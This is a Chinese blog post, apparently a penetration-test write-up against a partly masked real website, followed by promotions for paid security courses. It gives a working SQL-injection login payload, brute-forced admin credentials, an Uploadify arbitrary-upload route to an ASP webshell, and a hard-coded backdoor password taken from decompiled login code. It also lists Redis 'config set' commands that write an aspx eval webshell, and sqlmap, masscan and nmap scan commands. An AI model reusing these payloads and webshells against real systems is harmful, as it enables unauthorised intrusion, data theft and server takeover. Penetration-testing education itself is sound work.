对于给定授权网站的渗透，可以通过漏洞扫描工具进行扫描，也可以通过手工挖掘，特别是获取sql注入漏洞，通过注入漏洞配合其它漏洞来逐步获取webshell，甚至服务器权限，在本文中涉及详细信息收集、sql注入、后台密码加密分析、redis漏洞利用等，算是一篇经典的手工漏洞挖掘渗透案例，具有学习价值。
1.1信息收集
1.域名信息收集
（1）nslookup查询
通过nslookup对 qd.******.*****.cn进行查询，如图1所示，获取的信息是cdn，无法获取真实IP地址信息，后面通过https://www.yougetsignal.com/tools/web-sites-on-web-server/进行域名查询，每次查询的域名对应IP地址结果都在变化，说明用了cdn加速技术。
图1dns查询
（2）toolbar.netcraft.com
还以用toolbar.netcraft.com进行检测：https://toolbar.netcraft.com/site_report?url=qd.******.*****.cn#last_reboot，其结果如图2所示，IP地址为122.72.**.1**。
图2toolbar查询ip地址
2.获取真实IP地址
目标站点**.******.*****.cn使用账号和密码（1773**5216 /zyl**29122）进行登录，通过burpsuite进行抓包，发现有一个获取websocket url的ajax请求：
ws:/*; q=0.01
Origin: http://www.******.*****.cn
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://www.******.*****.cn/account/login?returnurl=%2Fproduct%2Findex%2F908
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
cookie: ASP.NET_SessionId=ugovwxs3i0bk5yhxjqczcmjq; VerCode=f64aed3c5de2da53ee92698677ceb7abe1f9ab3258abf9472c078259245f48e1
Connection: close
userName=1’,1,1,1);select convert(INT,user)–+&password=123123&validateCode=th5b&rememberMe=false
通过该方法可以对当前的站点进行数据库表及内容查询。
2.获取后台密码
通过大字典对后台进行密码暴力破解，获取******.*****.net的admin账号对应密码abc1234。
1.3 Uploadify任意文件上传漏洞
1. 发现后台使用Uploadify
通过后台发现站点使用了Uploadify，Uploadify组件会存在任意文件上传漏洞，构造可上传的html文件，其中action为UploadHandler实际地址，有的是UploadHandler.php、UploadHandler.ashx等，本地访问该html文件，直接上传shell，如图5所示，上传成功后会显示文件名称等信息。
图5任意文件上传漏洞
2.获取webshell
在前面保存的html文件中可以任意上传文件，但是需要注意其路径地址
http://******.*****.net/uploadify/20180418/7f9e86dd-2454-4a8a-b650-8c167e0eb2a2.asp将UploadFile更换为uploadify。
{“FileName”:“7f9e86dd-2454-4a8a-b650-8c167e0eb2a2.asp”,“FileUrl”:“UploadFile/20180418/7f9e86dd-2454-4a8a-b650-8c167e0eb2a2.asp”,“FileAllUrl”:“http://******.*****.net/UploadFile/20180418/7f9e86dd-2454-4a8a-b650-8c167e0eb2a2.asp”}
这个地址访问必须是0，也就是除false外的值才能成功上传，如图6成功获取webshell。
图6获取webshell
1.4后台密码加密分析
1.打包并下载网站源代码
通过webshell对该站点进行打包压缩命令：rar a –k –r –r –m1 e:wwwall.rar e:wwwwebsite，然后将其压缩包下载到本地。
2.密码加密函数分析
通过Reflector对asp.net的dll文件进行反编译，获取其源代码，从源代码中查找登录加密的函数：
public static string MD5Encrypt(string str)
string text = str + “202cb962ac59075b964b07152d234b70”;
string password = text.Substring(0, 32);
string password2 = text.Substring(32);
return (FormsAuthentication.HashPasswordForStoringInConfigFile(password, “MD5”) + FormsAuthentication.HashPasswordForStoringInConfigFile(password2, “MD5”)).ToLower();
md5（123）=202cb962ac59075b964b07152d234b70
密码采用password+123的md5加密，密码值为md5(password)+md5(123)得到的实际位数为64位。真实密码为1-32位字符串，将其进行md5解密即可。
3. btnLogin_Click登录检查中存在逻辑后门
protected void btnLogin_Click(object sender, EventArgs e)
string text = this.txtUserName.Text.Trim();
string str = this.txtPassword.Text.Trim();
string str2 = this.txtCode.Text.Trim().ToLower();
if (string.Compare(StringHelper.MD5Encrypt(str2), ValidationImage.GetAdminVerifyCode(), StringComparison.OrdinalIgnoreCase) != 0)
MessageBox.Show(this, “验证码输入有误，请重新输入！”);
AdministratorInfo model = Administrator.GetModel(text);
if (model == null)
if (model.get_RolesType() != 1 && model.get_RolesType() != 2)
if (string.Compare(StringHelper.MD5Encrypt(str).ToLower(), StringHelper.MD5Encrypt(“7CAB2C0E99AEFDE6255F804B87155FE7BBA5AE03112223”).ToLower(), StringComparison.OrdinalIgnoreCase) != 0 && string.Compare(StringHelper.MD5Encrypt(str), model.get_AdminPassWord(), StringComparison.OrdinalIgnoreCase) != 0)
if (model.get_IsLock())
MessageBox.Show(this, “用户已禁止登录，请联系系统管理员！”);
AdminPrincipal adminPrincipal = new AdminPrincipal();
adminPrincipal.set_AdministratorID(model.get_AdministratorID());
adminPrincipal.set_AdminName(model.get_AdminName());
adminPrincipal.set_RolesType(model.get_RolesType());
adminPrincipal.set_SyRolesID(model.get_SyRolesID());
adminPrincipal.set_TrueName(model.get_AdminName());
adminPrincipal.set_Roles(model.get_RolesType().ToString());
string userData = adminPrincipal.SerializeToString();
Administrator.UpdateLoginLast(model.get_AdministratorID());
FormsAuthenticationTicket formsAuthenticationTicket = new FormsAuthenticationTicket(1, adminPrincipal.get_AdministratorID().ToString(), DateTime.Now, DateTime.Now.AddMinutes((double)SiteConfig.get_SecurityConfig().get_TicketTime()), false, userData);
Managecookies.CreateAdmincookie(formsAuthenticationTicket, false, DateTime.Now);
basePage.ResponseRedirect(“Admin_Index.aspx”);
该函数中存在逻辑后门，使用任何账号均可以进行登录
用户名：随意 密码为：7CAB2C0E99AEFDE6255F804B87155FE7BBA5AE03112223
1.5redis漏洞利用获取webshell
1. redis账号获取webshell
知道网站的真实路径，具体步骤：
（1）连接客户端和端口
（2）认证
（3）查看当前的配置信息，并复制下来留待后续恢复
（4）配置并写入webshell
config set dbfilename redis.aspx
//php查看信息
//phpwebshell
set webshell"<%eval(Request.Item[‘cmd’],“unsafe”);%>"
// aspx的webshell，注意双引号使用"
保存
查看文件内容
（5）访问webshell地址
出现类似：
REDIS0006?webshell’a@H搀???
表明正确获取webshell
（6）恢复原始设置
2.获取shell的完整命令
config set dbfilename redis2.aspx
set a “<%@ Page Language=“Jscript”%><%eval(Request.Item[“c”],“unsafe”);%>”
config set dir
config set dbfilename
通过以上方法成功获取目标站点的webshell，至此渗透结束。
1.6渗透总结
本次渗透用到了多个技术:
1.burpsuite抓包，对包文件，使用sqlmap进行注入sqlmap –r r.txt
2.后台账号的暴力破解，通过burpsuite对账号进行暴力破解。
3. uploadify任意文件上传漏洞
4.后台加密文件密码算法及密码破解分析
5.redis漏洞获取webshell方法
6.masscan及nmap全端口扫描
（1）massscan –p 1-65535 ***.**.**.**
（2）nmap.exe -p 1-65535 -T4 -A -v -oX ***.**.**.xml ***.**.**.1-254
创作不易，用您发财的小手关注、喜欢+收藏一下我，您的关注和点赞就是对我继续创作的最大动力，谢谢！
另外推出《实战中的20个取证技术》视频课程，售价298元，基本涵盖目前的打击取证需要，可以联系微信lovesec2022购买。
`黑客&网络安全如何学习
今天只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。
1.学习路线图
攻击和防守要学的东西也不少，具体要学的东西我都写在了上面的路线图，如果你能学完它们，你去就业和接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源，但基本上都残缺不全的，这是我自己录的网安视频教程，上面路线图的每一个知识点，我都有配套的视频讲解。
内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等，都是网络安全入门必知必会的学习内容。
（都打包成一块的了，不能一一展开，总共300多集）
3.技术文档和电子书
技术文档也是我自己整理的，包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点，电子书也有200多本，由于内容的敏感性，我就不一一展示了。
4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等，感兴趣的同学不容错过。
还有我视频里讲的案例源码和对应的工具包，需要的话也可以拿走。
最后就是我这几年整理的网安方面的面试题，如果你是要找网安方面的工作，它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的，如果大家有好的题目或者好的见解欢迎分享。
参考解析：深信服官网、奇安信官网、Freebuf、csdn等
内容特点：条理清晰，含图像化表示更加易懂。
内容概要：包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
